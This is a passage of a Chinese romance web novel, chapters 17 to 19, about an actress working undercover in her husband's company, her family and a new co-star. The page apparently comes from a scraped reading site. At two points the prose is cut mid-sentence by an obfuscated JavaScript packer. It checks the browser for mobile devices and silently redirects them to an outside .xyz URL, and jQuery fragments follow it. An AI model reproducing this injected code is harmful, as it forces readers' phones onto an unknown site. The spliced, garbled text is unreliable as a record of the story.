因为在家,她给什么,他吃什么。
这会儿他突然作妖,纯粹是想使唤她罢了。
“慈总,我这就去换热水。”
一分钟后,她倒了热水回来,刚好听到姜琳问:“慈总怎么突然对影视娱乐这么关注?还是说,泰华有进军影视业的计划?”
慈恒直言:“因为我太太在娱乐圈。”
也不知道是有意,还是无意,说这话的时候,他的手指触碰到了温珍旎放杯子的手。
温珍旎抖了一下,还好动作弧度不大,算不上失态。
姜琳却因为他的坦诚,少见地卡了壳。
慈家跟珠宝商千金联姻不是新闻,但她却是第一次知道,他的太太是女星。
娱乐圈里金姓的女明星不少,但可以肯定的是,名气大的没有,想来也只是十八线小明星。
相比起来,出身名校的姜琳底气显得更足,“作为女明星,慈太太一定很漂亮,不知道是否有幸认识?”
“当然,机会合适的时候,我会介绍给大家认识。”
慈恒的嗓音像是夏天的泡泡,轻轻漂起,撞在温珍旎心上。
温珍旎垂下眼帘,掩饰已经翘起来的嘴角。
离开会议室的时候,她注意到,他的手总是转动着那枚婚戒。
温珍旎的心快跳出嗓子眼,一路拍着胸口,去洗手间用凉水拍了拍脸。
情绪好不容易平复下去,突如其来的手机震动吓她一跳。
按下电源键,慈恒的微信浮在锁屏界面。
【走那么快,狗在追你?】
还附带了一张贱嗖嗖的熊猫表情包。
温珍旎愣住三秒:【我怕你把我供出来。】
好在他记得发微信了,也是一大进步。
温珍旎继续回复:【你努力上班赚小目标吧,我要去挣小钱钱了!】
想了想,回赠一张粉红兔子捶打腹肌的动图。
那边回复得很快,她惊讶地点开。
慈恒:【我腹肌没这么丑。】
温珍旎:“……”
17. 017
虽然工作上跌跌撞撞,同事之间偶尔有小摩擦,但第一周好歹有惊无险地过去了。
因为慈邵夫妻下周又要去外市,一家人难得团聚,这个周末夫妻俩还是回樟园住。
温珍旎在泰华上班的事,慈奶奶是知道的。
餐桌上,慈奶奶问她工作上适不适应。
温珍旎点头,“奶奶放心吧,适应得挺好的,同事们都很好相处,工作上有不懂的地方,也都乐意帮我,教了我蛮多东西。”
“那就好。”慈奶奶放心了,眉眼里都是赞许,“我们旎旎到哪儿都能处得好,都招人喜欢。”
“咳。”一旁的慈恒没说话,那双浓黑英挺的眉毛却向上掀了一下。
慈奶奶问他什么毛病,他清了清嗓子,“汤咸了,齁得睁不开眼。”
慈奶奶把人瞪住,哼道:“都三十好几的人了,还不会好好说话。”
庄明华也深以为然,“不知道跟谁学的,我跟他爸也不是这种性格的人。”
不见得是跟谁学的,大概率是天生的,毕竟从小就超会阴阳人。
温珍旎心里默默腹诽,想笑又不敢笑得太明显,很是艰难地压着嘴角的弧度。
没想到还是被慈恒逮住了,镜片后的目光掠过她的脸,声音平静道:“想笑就笑。”
温珍旎低下头,小声反驳,“也没有很想笑。”
庄明华夹了块炸虾给她,“旎旎,我可是都听说了,你们办公室有人不止势利眼,还搞资历压人那套。你跟妈说,是不是真的,妈给你做主。”
连这都知道,婆婆的情报是真的可以。
“她那都不算什么,我们拍戏合作的同事,态度比这恶劣一百倍的都有。”温珍旎没觉得自己吃了亏。
她是富养的女儿,经济上虽然没吃过苦,但人情世故还是经历过的。
和娱乐圈里的尔虞我诈比起来,李薇这样把内心想法摆在明面上的人,属实排不上号。
“妈妈放心吧,都是小事情,我能搞定。”
庄明华笑笑,“优秀的人到任何行业都优秀,妈妈相信你。”
但儿子做的不好的地方,该说还是得说,“慈恒,妈妈得说你两句,一层楼里上班,抬头不见低头见,我不信你一点不知情。”
见他不吭声,庄明华就觉得他没怎么上心,“做上司不合格,连做丈夫也不合格,你该检讨才是。”
怎么做都是错,慈恒本来不想插嘴的,可实在躲不过老妈的连环炸弹,“人这辈子要走的路,哪能每条都如履平地。我不可能把所有石头都捡走,她得学会自己捡。”
“尽说屁话。”庄明华瞪他,“跟你这种直男讲不明白。”
慈恒嘴角勾起一抹弧度,回怼道:“妈,我要不是直男,你就该傻眼了。”
“噗。”温珍旎这回是真没忍住,当场笑出了声。
她赶紧装作被汤呛到,咳嗽了两声,掩饰小尴尬。
旁边一直没说话的慈邵适时出来打圆场,“你妈也没说错,这股歪风邪气是要不得,该整顿还是要整顿。”
慈恒应下,“我知道的,爸。”
温珍旎原以为这事就这么过去了,没想到晚上回卧室后,慈恒突然跟她翻起了白天的旧账。
“温珍旎,扪心自问,我有没有亏待过你?”
他解开衣扣,脱了衣裳,把人逼退到床上,手臂撑在她肩膀的两侧,将人密不透风地罩在他的气息里。
高大的身影带来一片阴影,强烈的压迫感让人快要透不过气。
温珍旎反手撑住他的胸膛,赶紧顺毛捋,“没有,你人超好的。给我配置顶级团队,我才没那么不知好歹,拿完好处就过河拆桥。”
“你知道就好。”一声笑从喉咙里溢出来,裹着揶揄过后的余韵,“你良心虽然不多,但还算有。”
吃人嘴软,拿人手段。温珍旎讨好地挠着他胳膊,顺手把肌肉摸了个爽,“老公,你是世上最最好的老公了。”
“心口不一,花言巧语,油嘴滑舌。”
慈恒扒开胸口揩油的手,把人拉开,捞起睡袍去了浴室。
温珍旎冲着背影吐了吐舌,在他发现前,赶紧点开一个视频,装作无事发生的样子。
这会儿睡觉太早,闲着也闲着,她准备看一下粉丝二创,再洗澡睡觉,上方横幅就跳出橙子的微信。
橙子:【姐,男主确定了,你猜是谁——】
橙子:【三金影帝裘司城!】
橙子:【真正的双顶流组合,营销号已经放出消息,现在热搜都登顶了,大爆特爆。】
温珍旎一整个大震惊。
裘司城拍偶像剧,都是好多年前的事了吧。
他现在一头扎进电影的深水区,在挑战表演极限的角色里钻研,三金拿满,成绩耀眼。已经站在金字塔尖的演员,根本不缺片约,从履历来看,基本已经告别了流量偶像剧的赛道。
会接偶像剧,像天方夜谭一样玄幻。
温珍旎深吸一口气,点开那个高悬榜首的热搜话题。
#裘司城独家心动
“这个饼也是遛到我裘哥了。”
“相信我哥的眼光!”
“裘司城这张脸终于要造福颜狗了!假盼真,真盼速。”
“裘司城的演技和气质……好像还真能贴?求别魔改。”
“影帝下凡演偶像剧了,配置是不是过于奢华了?担心剧本配不上他演技啊。”
“我说温珍旎是最好命的资源咖没人反对吧,第一部大投资就是影帝作配。”
“帅哥美女养眼组合我可以,先磕为敬了。”
期待的有,嘲讽的有,观望的有,然后还有不可避免的番位争议。
离了个谱!
温珍旎给裘司城发信息求证,问他是不是真的。
裘司城没回,但是直接打了视频过来。
“是真的,比真金还真金,就等正式官宣了。”
镜头里的男人坐在保姆车上,接过助理递来的矿泉水,仰头喝了一口。
他脸上妆容没卸,大概是还没下戏,只是中场休息。
一想到这个高居神坛的三金影帝要和她搭戏,就有一种莫名其妙的割裂感,太不真实了。
“你怎么想到接这部戏了。”她好奇地问。
“怎么,不欢迎啊?”裘司城笑容痞痞的,“还是说,怕跟我因戏生情啊?”
“你少自恋了。”温珍旎可不敢任他胡说八道下去,“我太惊讶了而已,想不到你会接。”
裘司城完全没有剧本上的担忧,就好像只是荤菜吃多了,忽然想吃点青菜,“偶尔换个题材调剂一下嘛。也是好多年没拍偶像剧了,我的粉丝都超期待的好吧。”
他外形条件出众,演技又好,当年转型的时候,好多人惋惜他的偶像剧太少了。
“而且相识这么多年,我们还没一起搭过戏。全新的组合搭配,肯定会碰撞出不错的化学反应。”
什么化学反应,是惊吓吧。
“我和你太熟了,拍什么情侣!”温珍旎实话实说。
跟他演情侣,那画面太美,不敢看。
裘司城看出她的犹豫,笑着调侃她,“怕慈恒不高兴?不是吧,我们慈总公私分明,应该不是那么没气量的人。”
温珍旎噎了一下,“说得你很了解他一样。”
虽然她没见过慈恒为谁吃醋,但按常理来说,应该没有哪个男人受得了自己老婆跟其他异性拍亲密戏吧。
何况裘司城还跟她议过婚,不避嫌,那不是显得她很没有边界感。
“……反正太熟了。”
“你刚说什么?”裘司城是想听清楚她说的话的,但助理在旁边催他开工,把声音盖了过去。
温珍旎摇头,“不耽误你拍戏了,见面再聊吧。”
裘司城只好跟她说拜拜,匆忙挂掉了视频。
“跟谁说话?”
慈恒扒拉着吹干的头发从浴室出来,看她的神情,像在审视精神出轨的妻子。
温珍旎让他看得后背发麻,“跟裘司城聊点工作上的事。”
这是真的,她没撒谎。
但他什么表情啊,搞得像她背着他干了偷鸡摸狗的事一样。
“那个……”温珍旎咳了咳嗓子,决定试探一下他的态度,“老公啊。”
她把人拉到身前坐下,伸出纤纤十指给他揉捏起肩膀,“给你打个预防针,我要拍偶像剧了,男主是裘司城。”
慈恒眯眼,“你是想说,你们有亲密戏?”
没有亲密戏那还是偶像剧吗,那是纯洁的革命友谊。
温珍旎反正该交代的都交代了,“有的话,你怎么看?”
“在手机上看。”慈恒一声冷笑,“你看我像心胸大度的人?”
熟悉的阴阳怪气它来了,它带着慈少的嘴一起走来了。
温珍旎小声问:“刚才我们聊天,你都听到了?”
“两只耳朵都听到了。”
才洗过澡,慈恒觉得心里的火还是过于旺盛了,捏住手腕把人压在枕头上,掐着腰身的手背青筋暴起。
“在床上谈论异性我可以不计较,但裘司城
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868466|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不行。你们太熟了,让他有点边界感。”
刚才推倒的那一下,力道着实不轻,温珍旎竟然短暂地眩晕了,“慈恒,别太霸道了……”
尾音猝然化作短促的抽气声,慈恒再不给她说话的机会了。
温珍旎迷迷糊糊地想起,钟雪说的话。
她说,过日子就是把男人睡服。
可她怎么觉着,是他把自己睡服了。
**
周末是明霞的南国记服装工作室正式营业的吉日。
温珍旎一早就收到了贵宾邀请函,提前订好花篮花束送去门店。
因为奚淼入了伙,有她这条大腿可以抱,明霞轻松拿下二环最好的地段开了工作室。
排除地段自带的人.流量,邀请的人也来的不少。除了两人所处圈子的朋友,还邀请到不少网红和时尚领域的KOL。
温珍旎是邀请嘉宾里唯一的一线女星。
她刚到工作室,奚淼就急吼吼地把她拖进化妆室。
“现成的招牌不用白不用,今天你就当好真人立牌,好好给姐们带货吧。”
温珍旎开玩笑道:“我的出场费很贵的,你可要想好了。”
“是是是,我们的顶流大明星,一般人都是请不动的。”
奚淼才不管,叫来服装师给她换衣服。瞧着妆容不搭,又把化妆师叫过来一起改妆。
“我跟你说啊,明霞设计的这款鲤戏荷影,简直就是为你量身定做的,你穿上肯定巨美。”
奚淼吩咐一声,助理拿了一套合领衫过来。
荷花的淡粉和鲤鱼的红,配上烟雨的底色,倒是很淡雅素净的风格,下面即便搭了一条杏色长裙,也很适合日常出行。
温珍旎这样阳光元气的性格,驾驭起来,比温婉还多了两分明媚和灵动。
这套国风一上身,奚淼就感觉对味了,“等你把妆画好,我亲自给你拍一组写真,百分百出片。咱们争取开张就打出名声。”
完全插不上话的温珍旎总结:“……你是会物尽其用的。”
她皮肤底子好,化妆师只花了一点时间改妆,之后助理过来带她去摄影棚里拍摄。
奚淼在做准备工作,看到她进来,塞给她一把油纸伞做道具。
温珍旎拿着伞,才发现摄影棚里还造了景,“挺上心的嘛,竟然搭了专门的摄影棚。”
用的还都是最好最贵的设备,看得出奚淼对自己的杰作很得意。
不愧是零花钱用不完的大小姐,挥金如土,不计成本。
奚淼:“一条龙服务,怎么样,我这主意不错吧?”
“不错,闲下来还能出租。”
温珍旎很给面子地夸了一句,撑开油纸伞走到灯光下,“我准备好了,开始吧,大摄影师。”
奚淼的摄影纯属爱好,不是真的要往杂志广告去拍,所以拍摄没怎么费时间。
结束后,两人和主理人明霞碰了面,一起到门店区参加组织的沙龙活动。
明霞创立南国记投入了很多心血,宣传下了血本的,但影响力远比不上明星效应。
温珍旎的脸那就是活招牌,出现就会引起轰动,今天又是让人眼前一亮的国风造型,出场就赚足了眼球。
话题度讨论度不愁了,品牌热度还不是分分钟的事儿。
就是奚淼这样见惯了大场面的人,还是有被温珍旎的人气震惊到,“我砸一个亿进去,也达不到这一半的效果啊。”
“谁说不是。”明霞也感慨。
另一边,博主们围着温珍旎搭话,要签名,求合照。
被包围的温珍旎在人群中闪闪发光,像一颗璀璨的星星,灵动得让人挪不开视线。
真人近距离接触,都说她的脸好小好精致,身材也保持得很好,看着就很健气。
“还得底子好,才穿得出效果。哪里像我,拍照要找好久的角度。”
这些女孩子总觉得自己不够漂亮,还要追求更漂亮。
但在温珍旎的眼里,她们都是不同的花,各有各的美。
“怎么会呢,我穿是一种风格,你穿又是另一种风格。你的气质很干净,特别难得,不如尝试拍摄一些有故事有情绪的照片,氛围肯定很动人。”
她鼓励追求完美的女孩子,“把优点放大看,缺点缩小看,你就是独一无二的,配得上世上最好的东西。”
或许她的话是老生常谈了,但一个人真诚的笑容,真的有感染到在场的女孩子。
奚淼眼看着她被人群淹没,工作人员快招架不住了,赶紧找了个借口,把人捞出来。
18. 018
南国记营业结束后,三个人累得够呛,在附近小餐馆随便对付了晚餐,已经没有多余的力气逛街了,索性就去SPA馆做了个全身按摩。
奚淼的公寓和紫金湾在同一个方向,比较顺路,她打发了自己的司机,打算坐温珍旎的顺风车回去。
一上车,看到驾驶座的女司机,奚淼一脸意外,又一脸八卦,“旎宝,你家接送人还分班次啊。早上男司机,晚上女司机。”
她不说,温珍旎都没注意到司机换了人。
是有些突然了,但她也只是单纯觉得换了个司机而已,“可能轮休吧。”
听到这话,司机看了眼后视镜,笑着解释道:“太太,是先生特意吩咐我来的,并且以后晚上都由我接太太回家。太太可以叫我小苏。”
“啊,为什么?”温珍旎像是脑子卡了壳,半晌没反应过来。
奚淼“啧”了一声,“虽然看不惯慈恒眼睛长脑门上,但该说不说,他还是超过绝大多数男人了。这钱活该他赚,我不嫉妒。”
想到这对夫妻现在一层楼里上班,奚淼的好奇心就止不住。她凑近了些,压低声音坏笑着问:“泰华上班如何,都市白领的角色扮演顺利吗?”
“勉勉强强,蒙混过关吧。”
温珍旎声音拖得长长的,透着一股子懒散,“办公室的人到现在还没发现端倪,估计能顺利苟到结束。”
“服了,还真让你顶着这张脸给糊弄过去了。”
奚淼简直怀疑,泰华的员工是不是跟他们老板一样,眼睛都长头顶的,看谁都是一个鼻子两只眼,根本分不清谁是谁。
“采访一下你啊,在老公的公司搞办公室恋情是什么样的体验?”
这话听着怪怪的。
温珍旎嘟囔,“什么办公室恋情,天天整理文件做表格,眼睛都发直了。”
“不是吧,慈恒这狗东西居然真让你干活。”
奚淼皱了皱眉,声音都拔高了几度,“我收回刚才对他的赞誉,魅力值降到负分。”
温珍旎瞅着着奚气鼓鼓的表情,伸出食指戳她的脸颊,“行了,你怎么比我这个当事人都激动。”
“你到底是哪边的?”奚淼怒其不争地啐她一口,“没良心的,亏我为你说话。”
温珍旎噗嗤一笑,赶紧挽住她,“那还用说,肯定跟我嫡长闺一边的。”
奚淼硬着声音哼道:“算你识相。”
司机先送了奚淼到家,随后送温珍旎回紫金湾。
五月末的气候已然回暖,庭院前的楸树缀满了花苞,晚风里浮动着一丝丝若有似无的淡香。
温珍旎站在树下深吸了一口香气,嘴里哼着歌,步履轻快地进了屋。
客厅柔和的灯光下,慈恒坐在沙发上,听到她进门的动静,仅仅是抬了下眼皮,目光不咸不淡地扫了一眼,随即又落回到手机屏幕。
这个点了,不会是在等她吧。
温珍旎心里嘀咕着,顺手把包递给佣人,脚步不自觉地放轻了,轻手轻脚地朝沙发挪过去。
刚挨着慈恒坐下,两根手指扯了扯他的袖子,还没等到开口,一个矮墩墩的身影突然从角落的阴影里窜了出来。
“星星!”她惊讶地低呼一声,蹲在地上,两只手捧住机器人的钛合金脑袋,“星星,你怎么在这里呀?”
星星咔咔地扭动着胳膊,仰起的脑袋上,电子眼睛变成两颗粉色的心,“因为这里是星星的家哦。”
机械童声软糯糯的,萌人一脸的血。
没有人,没有人能拒绝软萌可爱的物种。
虽然是金属外壳,摸上去没有毛绒的实感。但是不用打理毛发,不用铲屎遛弯,比猫猫狗狗省心,顶多是零件出故障,拿回公司修理罢了。
温珍旎实在是喜欢这个小东西,搂着又亲又蹭。
“也不嫌脏。”慈恒凉飕飕的声音从背后传来,带着显而易见的嫌弃。
温珍旎反驳,“星星才不脏。”
“星星才不脏。”
星星重复着温珍旎的话,并且笨拙地举起它的机械手,“星星消过毒了。”
温珍旎被可爱到失语,把小家伙抱在怀里,掏出手机咔咔合影。
拍够了,才转头看向沙发上的男人,问他:“怎么想到把星星带回来了?”
慈恒挑眉,“本来就是慈宇送你的,只是前段时间一直在做优化升级。”
说起慈宇,温珍旎环顾四周,发现人没在,“小宇睡了吗?”
“老太太把人叫回去了。”
说着,慈恒放下交叠的腿,伸手拽起盘腿坐在地上的温珍旎,“玩也玩够了,上楼睡觉。”
星星咕噜咕噜地滑行过来,也想跟着上去,他伸腿挡住,“自己回去充电。”
星星接受了指令,歪了歪脑袋,似乎在消化信息,几秒过后,咕噜咕噜地走回了充电舱。
隔天是个大晴天。清晨的阳光又暖又柔,无声漫过纱帘时,被窝深处的人舒服地翻了个身。
然而床头柜上的手机太不合适宜,大清早旧扰人清梦,嗡嗡声震不停。
响过一轮没人接,又锲而不舍地轰炸第二遍。
“好吵……谁啊!”温珍旎翻了个身,把脸更深地埋进松软的枕头里,捂住耳朵,想要将烦人的铃声隔绝在外。
慈恒捞过手机,揉着眉心接通电话,语气颇为无奈,“老太太,现在凌晨六点。人睡不好觉,是会死的。”
老人家就是觉浅,也不管对面是不是在睡觉,反正电话打来就必须得接。
“呸,大清早的,尽说不吉利的话。”
老太太训了孙子一顿,也不废话,开门见山道:“旎旎自愿到公司来上班,多好的机会摆在眼前,你也不知道珍惜,趁机培养培养夫妻感情。三十岁的人了,你不急,我都着急。”
还以为什么火烧眉毛的事情。
“就为了说这个?”
慈恒既好笑,又好气。揉着惊痛的额角,握着手机躲到阳台上。
“老祖宗,公司是干活的地方,不是给人谈恋爱的地方。员工有时间谈恋爱,只能说明工作严重不饱和。”
“胡说!”
慈奶奶恨其不争地啐他,“跟你爸一样不开窍。当初要不是我把你爸叫回来,你能娶到老婆,太阳怕是打西边出来。”
慈恒只觉头大如都,掐着眉心敷衍道:“是是,都是您老人家的功劳,要不是您老人家出马,我哪能把祖宗接回来。”
对上他这么一副不痛不痒的态度,老太太气不打一出来,“就贫吧,那个裘家的独生子表面温和好相处,实际精得很。我听说他跟旎旎要合作拍戏了,你长点心吧,哪天挖了你墙角,都没地方哭去。”
慈恒脸上的笑意凝固,“他跟我有什么可比之处?”
慈奶奶:“至少比你年轻。”
慈恒:“就两年。”
“两年也比你年轻!懒得跟你这个混球贫嘴。”老太太切入主题,“今天上班,我让林秘书送饭,中午你叫上旎旎一起吃。”
慈恒不理解她为什么多此一举送饭,“公司食堂要什么没有,费那劲干嘛。”
她说一句,他有十句等着,整个就是一反驳型人格。
就这一句话把人噎死的性格,要不是那张脸能看,哪个女孩子受得了。
“你爷爷干的最大的一件蠢事,就是盖那个破食堂。”
这通电话打下来,老太太的气都不顺了,丢下一句:“就这么定了,中午我让林诺送饭。”
根本不容他反驳,嘟嘟两声忙音,老太太那边已经干脆利落地撂了电话。
温珍旎洗漱完,下楼来吃早餐时,慈恒已经用过了。他坐在餐桌旁,神情专注地翻看着林诺整理好的新闻纪要。
“奶奶电话里说什么了?”她拉开椅子坐下,捧起一杯温热的牛奶,随口问着。
“没什么。”慈恒没说奶奶要送饭的事,只是告诉她,“月底要去外市出差。”
温珍旎打了个哈欠,心思全在香喷喷的早餐上,闻言也只是拖长调子,懒懒地“噢”了一声,压根没注意他话里的重点。
慈恒的视线从屏幕上抬起来,眯眼看她,“噢什么?”
“就是知道了的意思呀。”温珍旎答得理所当然,没觉得有哪不妥。
“嗯。”该说她是太省心,还是太无所谓。
这结论跳出来,心底那点说不清道不明的期待瞬间消失得一干二净。
慈恒突然觉得没什么意趣,新闻也不看了,起身时带得椅子划拉出一声轻响,“我去车上等你。”
“……”怎么了嘛,谁又惹他不高兴了,突然拉着一张脸。
温珍旎咬着虾仁饼,看着慈恒离去的背影,一头雾水。
三两下吃完早餐,临到出门时,她特地去看了星星。
小机器人呆在充电舱里,还在充电静默模式,呼吸灯闪烁着。
感应到主人靠近,显示屏上的电子眼睛被唤醒,闪出心形和亲吻的颜文字。
“妈咪,早上好,祝你工作顺利。”
温珍旎也挥了挥手,跟它道了别。
到了车上,她刚坐稳,身边飘来一句轻嘲,“你对机器人比对人有感情。”
“怎么会。”温珍旎唇角一弯,好听的话张口就来,“我对老公的感情天地可鉴。”
又是随口应付他的话。慈恒吃一堑长一智,决定这次强硬到底,绝不能被她的糖衣炮弹攻陷。
“哼。”他绷紧了脸,视线转向窗外,一副拒绝交流的架势。
温珍旎碰了个软钉子,也懒得哄这位阴晴不定的少爷。
她从包包里翻出手机,打开相册,把这几天攒的照片挑选一遍,凑够十八宫格后,发了条plog。
几秒后,慈恒掌心的手机震了一下。
通知从横幅跳出来时,他是打算无视的,但是手已经先于大脑反应,点开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874815|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了那条动态。
从第一张照片往后面划,拇指突然顿住。
把其中一张图片放大,再放大,直到锁定无名指上的三金戒环。
对着照片沉默了几秒,慈恒紧绷的脸悄然放松,笑意缓缓爬上眼角。方才悬在胸口的那股郁闷,不觉间散了大半。
车子还是照例驶到地铁站位置。下车前,温珍旎想起来问他为什么心情不好,结果转头就看到他嘴角还没收起的弧度,忽然觉得是自己多心了。
臭脸只能表达他一时的不满,代表不了一天的心情……
短暂的周末已经结束,周一的打工人奄奄一息,办公室里哈欠连天。
温珍旎却忙得像陀螺,整栋大楼都是她跑前跑后的身影。
和部门对接完,整理好部分表格,看看时间,快到中午了,办公室的人都心照不宣地摸起鱼来。
露西打听了食堂今天的菜式,问温珍旎:“今天有干锅香辣虾和酸汤牛肉,要不要一起去?”
温珍旎点亮手机,才看到慈恒几分钟前发的微信,叫她去办公室吃午饭。
主动叫她吃饭,还是开天辟地头一遭。
她回了消息,跟露西说:“中午已经有约了,去不了。下次再一起吧。”
“那好吧。”露西只能叫其他的饭搭子了。
温珍旎关掉电脑,等办公室的人都离开之后,赶紧溜去总裁室。
总裁室的门关着,百叶帘全部放了下来,里面一点影子都看不清。
担心里面有其他人,温珍旎把耳朵贴上玻璃幕墙,打算听听动静的,门就“咔哒”一声从里头打开,随之走出来一个高高瘦瘦的男人。
“老板娘?”陆方洋一眼认出温珍旎,“老板娘是过来吃饭的吧。”
温珍旎看他面生,确定自己不认识这号人物的同时,再次怀疑自己的伪装技术。
“你是?”她问。
陆方洋恭敬地回道:“我是慈总的总助陆方洋。老板娘可以叫我小陆。”
温珍旎有点尴尬,“你好呀,陆总助,但是我有一个小小的请求……在公司的时候,可不可以别这么叫我?”
怕你叫顺口了,搞不好会在人前说漏嘴。
“我明白的,倩倩小姐。”
陆方洋一副我都懂的表情,指着里面道:“慈总在等你吃饭。我就不打扰二位了。”
他体贴地侧身让到一边,等温珍旎进去,又体贴地关上门,给二人留出独处空间。
温珍旎进了屋,就闻到了饭菜的喷香,“哇,好香啊,做了什么好吃的?”
烹饪的美味佳肴盛在保温饭盒里,慈恒正将最后一只饭盒的盖子揭开。
一看就是色香味俱全,令人食指大动,温珍旎伸出两根手指去拈香酥排骨,被慈恒眼疾手快地拿开了饭盒。
“手脏。”
温珍旎搓着手,乖乖地坐好,“怎么想起让人送饭了?”
慈恒递上筷子,“老太太让林诺送来的,怕你在公司吃不好。”
“奶奶对我真好。”温珍旎夹起一块酱汁浓郁的排骨,放进他碗里。
慈恒没动筷,扯了纸巾擦手,随口问起,“总裁办安排给你的工作很多?”
“今天还好,上手之后比以前快多了。”
她一边啃排骨,一边用干净的手指解锁了手机。
早上发的微博,前排热评毫不例外都是眼熟的ID。
往下划动了几下,指尖点到评论区一张照片,看着竟然有些眼熟。
她放大照片,照片里是一款黑色外壳机器人,除了颜色不同,外观设计和星星一模一样。
这个账号,不就是上次拍她背影的账号?
默认头像,初始昵称,性别男,IP地址是同城。他的评论风格很明显,每次都是一张照片。
而且照片的场景还都跟她的照片对应上了,想不注意都难。
大概也是因为这个原因吧,短短几天,这个账号受到了极大关注。
珍珠们不知道怎么称呼他,索性叫他乱码先生。
有粉丝追着盘问他是不是业内人士,也有粉丝质疑他是私生饭,艾特工作室来处理。
温珍旎也是越看越怪,五官都快皱成一团了。
“怎么了?”慈恒问。
温珍旎把手机屏幕朝向他,指着那个账号,“你看这个!最近冒出来一个很奇怪的账号,所作所为特像跟踪狂。”
看清那个账号,慈恒咳了一声,“……也不一定,或许他只是单纯分享。”
温珍旎狐疑地盯着他,“你怎么知道?”
“猜的。”
怕她继续追问下去,慈恒把菜都推到了她面前,“吃饭就吃饭,别看手机。”
温珍旎被他一打岔,脑子卡了壳,成功被他转移了话题,“我爹都不管我看手机。”
慈恒凉飕飕地一笑,“所以我不是你爹。”
温珍旎:“……”
19. 019
大概是习惯了他这张嘴,温珍旎当时没在意,事后跟奚淼煲电话粥,才突然反应过来。
“他这嘴真的……我都不明白他是靠什么把生意做大做强的。”
电话那头,奚淼都快笑死了,“他是无差别攻击啊,慈家上下还有谁没被他祸祸过。”
“谁说不是。”
温珍旎蛐蛐了两句,从厕所隔间出来。
洗手盆前有两个其他部门的同事,正在一边洗手一边小声八卦。
“方胜的姜总来了,工程管理部的负责人都过去了。”
一听姜琳的名字,温珍旎噤了声,电话那头的人也默契地闭了嘴,竖起八卦雷达。
“又来,她对这个项目是不是太上心了。”
“我的第六感告诉我,她不是冲着项目来的,是冲人来的。我听说她和慈总是高中同学,还是国际竞赛的固定搭档,现在又打着合作名义频繁刷存在感,这叫什么……醉翁之意不在酒!”
“老天,也不怕慈总太太知道了。”
“不知道,不过度假区的项目是事业部总经理全权负责的,慈总不怎么见她。”
两人还想继续八卦来着,外面来了好几个上洗手间的人,她们只能闭了嘴,赶紧离开。
“吃瓜吃到自己头上了。”奚淼在电话那头幸灾乐祸,“情敌都追上门了,慈太太有什么感想吗?”
腿长在别人身上,人家打着业务名义来,还能拦着她不成。
温珍旎能有什么想法,“别的不说,眼光跟我一样好。”
奚淼骂一句傻白甜,“好心提醒你,她不是那么容易打发的善茬。”
温珍旎回她:“你当我娱乐圈白混的。不说了啊,回去上班了。”
挂断电话后,她吐了口气,装作东张西望的样子在走廊上溜达,经过会议室时刻意放缓了脚步。
可惜会议室紧闭着,什么都看不到,磨砂玻璃上透出晃动的剪影,偶尔传出几声响动。
她又伸长了脖子,往总裁室方向瞧,恰好有人推门出来了,吓得她蒙住脸掉头就跑。
温珍旎回到办公室,李薇也踩着高跟鞋跟着进来,食指敲着她的桌子道:“从今天开始由你负责慈总的办公室。”
她随手扔下一个笔记本,“每天要做的工作,你自己慢慢看吧。”
“别怪我没提醒你,总裁室格局都是按照慈总的习惯布置的,你最好别自作主张乱动。”
温珍旎翻开笔记本,大致浏览了一眼,都是杂活,比如端茶递水,整理办公桌,给植物换水,点外卖,以及协助总裁接待客户什么的。
露西探过脑袋瞄了一眼,“李薇,这不一直都是你的活嘛?”
李薇扁着嘴哼了一声,“陆总助说了,这个月暂时交给乔倩倩来做。”
回工位前,她扫了眼温珍旎报表凌乱的工位,一副不可置信的表情,“就这自理能力,我表示怀疑。”
温珍旎看着李薇珍旎摇曳着走开的背影,在心里小声吐槽。
也就乱了点,不爱收拾了点,怎么就没有自理能力了。
“倩倩,你别跟她计较。”露西低声安慰她,“这活轻松又露脸,一直都是她在负责,突然换成了你,她难免有意见。”
“我知道。”温珍旎摆手,“我没跟她计较。”
一份临时工作,最多就做一个来月。在职期间,她要做的就是兢兢业业扮演好小助理人设。
温珍旎把流程表熟悉了一遍,重点誊抄在荧光便签纸上,贴在显示屏下方。
看上去要做的活很杂,实际上手后也没多少工作。期间她就给慈恒送过文件,泡过茶,协助接待了一下客户。
只是这周慈恒实在太忙了,通常早上她醒来时,身旁的位置已经空凉,晚上入睡后,才听到他回家的动静。在公司里也是除了午餐时间能说上话外,几乎看不到人影。
毕竟是他接掌泰华以来最关键的时候,温珍旎识趣地没去打扰,上下班都是自己开车。
到了周四,慈恒总算清闲了些,她本来还期待能早点见到他,结果临近下班时分,慈恒发来微信,非常简意赅的一条:
【晚上陪重要的海外客户吃饭,早点回家。】
说没有失落,那是假的。温珍旎默默收拾了东西,像往常一样,准备自己回家。总裁办却临时派下任务,通知全体留下加班,有加班工资和奖金。
这不正好有理由一起回家了,她赶紧点开对话框,回了一个系统自带的小太阳表情。
【要加班,我在办公室等你回家。】
度假区项目的原定开工时间是周日,但是进度没跟上,核心部门一起加班加点,公司整个项目组都笼罩在焦灼的气氛中。
温珍旎埋首在堆积如山的图纸和报告里,核对数据、协调沟通……直到窗外的天色从黄昏沉入黑夜。
这个班,反正加得昏天黑地。
将最后一份文件保存归档,挂钟指针已经指向九点多。
关掉电脑,温珍旎揉了揉发胀的眼睛,伸展着腰往楼下看。
